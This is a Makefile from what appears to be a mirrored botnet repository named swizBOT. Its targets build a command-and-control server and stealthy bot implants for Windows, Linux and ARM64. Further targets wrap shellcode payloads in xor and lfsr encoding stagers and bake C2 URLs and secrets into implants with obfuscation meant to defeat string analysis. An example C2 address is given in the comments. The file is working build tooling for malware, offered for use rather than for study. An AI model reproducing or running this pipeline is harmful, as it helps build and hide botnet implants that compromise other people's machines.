mirror of
https://git.churchofmalware.org/ek0mssavi0r/swizBOT
synced 2026-09-24 08:34:38 +00:00
80 lines
2.6 KiB
Makefile
80 lines
2.6 KiB
Makefile
GO ?= go
|
|
BIN := bin
|
|
BOT_LDFLAGS := -s -w
|
|
C2_LDFLAGS := -s -w
|
|
|
|
.PHONY: all build c2 bot bot-windows bot-linux bot-arm64 test vet fmt stager stager-selftest clean
|
|
|
|
all: vet test stager-selftest build
|
|
|
|
build: c2 bot-windows bot-linux
|
|
|
|
c2:
|
|
$(GO) build -ldflags "$(C2_LDFLAGS)" -o $(BIN)/swizbot-c2 ./cmd/c2
|
|
|
|
bot: bot-windows bot-linux
|
|
|
|
bot-windows:
|
|
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 $(GO) build -ldflags "$(BOT_LDFLAGS) -H=windowsgui" -o $(BIN)/swizbot-bot.exe ./cmd/bot
|
|
|
|
bot-windows-386:
|
|
GOOS=windows GOARCH=386 CGO_ENABLED=0 $(GO) build -ldflags "$(BOT_LDFLAGS) -H=windowsgui" -o $(BIN)/swizbot-bot-386.exe ./cmd/bot
|
|
|
|
bot-linux:
|
|
$(GO) build -ldflags "$(BOT_LDFLAGS)" -o $(BIN)/swizbot-bot-linux ./cmd/bot
|
|
|
|
bot-arm64:
|
|
GOOS=linux GOARCH=arm64 CGO_ENABLED=0 $(GO) build -ldflags "$(BOT_LDFLAGS)" -o $(BIN)/swizbot-bot-arm64 ./cmd/bot
|
|
|
|
test:
|
|
$(GO) test ./...
|
|
|
|
vet:
|
|
$(GO) vet ./...
|
|
|
|
fmt:
|
|
gofmt -w .
|
|
|
|
# Encoder self test: emulated decode round-trips for every arch/mode and,
|
|
# when nasm is installed, byte-parity against the decoder listings.
|
|
stager-selftest:
|
|
python3 stager/encoder.py --selftest
|
|
|
|
# Build a stager from a raw payload file:
|
|
# make stager PAYLOAD=payloads/calc.bin OUT=output/stager.bin ARCH=x64 MODE=lfsr
|
|
PAYLOAD ?= payload.bin
|
|
OUT ?= output/stager.bin
|
|
ARCH ?= x86
|
|
MODE ?= xor # xor | lfsr | noloop
|
|
stager:
|
|
python3 stager/encoder.py $(PAYLOAD) $(OUT) $(shell [ "$(MODE)" = "lfsr" ] && echo --lfsr) $(shell [ "$(MODE)" = "noloop" ] && echo --noloop) --arch $(ARCH) --loader
|
|
|
|
clean:
|
|
rm -rf $(BIN) output loader.c
|
|
|
|
# Bake an implant with compiled-in config (see cmd/build):
|
|
# make payload C2_URLS="https://c2.example.com:8443" BOT_SECRET=*** OUT=bin/bot.exe OS=windows ARCH=amd64
|
|
# For a zero-leak build, add SEAL="<passphrase>" (implant reads it from SWIZ_UNLOCK at runtime).
|
|
C2_URLS ?=
|
|
BOT_SECRET ?=
|
|
BOT_KEY ?=
|
|
C2_PUBKEY ?=
|
|
XOR ?=
|
|
SEAL ?=
|
|
ALLOW_PLAINTEXT ?= # set to 1 to bake secrets obfuscated-only (no -seal)
|
|
OS ?= linux
|
|
ARCH ?= amd64
|
|
OUT ?= bin/swizbot-bot
|
|
payload:
|
|
@if [ -n "$(BOT_SECRET)$(BOT_KEY)" ] && [ -z "$(SEAL)" ] && [ "$(ALLOW_PLAINTEXT)" != "1" ]; then \
|
|
echo "ERROR: refusing to bake secrets without SEAL=<passphrase>."; \
|
|
echo " SEAL='...' -> sealed, zero-leak (needs SWIZ_UNLOCK at runtime)"; \
|
|
echo " ALLOW_PLAINTEXT=1 -> obfuscated-only bake (secrets hidden from strings, but recoverable by RE)"; \
|
|
exit 1; \
|
|
fi
|
|
go run ./cmd/build -c2-urls "$(C2_URLS)" -bot-secret "$(BOT_SECRET)" -bot-key "$(BOT_KEY)" -c2-pubkey "$(C2_PUBKEY)" -xor "$(XOR)" -seal "$(SEAL)" -os $(OS) -arch $(ARCH) -out $(OUT)
|
|
|
|
# Static leak scan: prove baked config is not string-recoverable.
|
|
leakscan:
|
|
bash scripts/leakscan.sh
|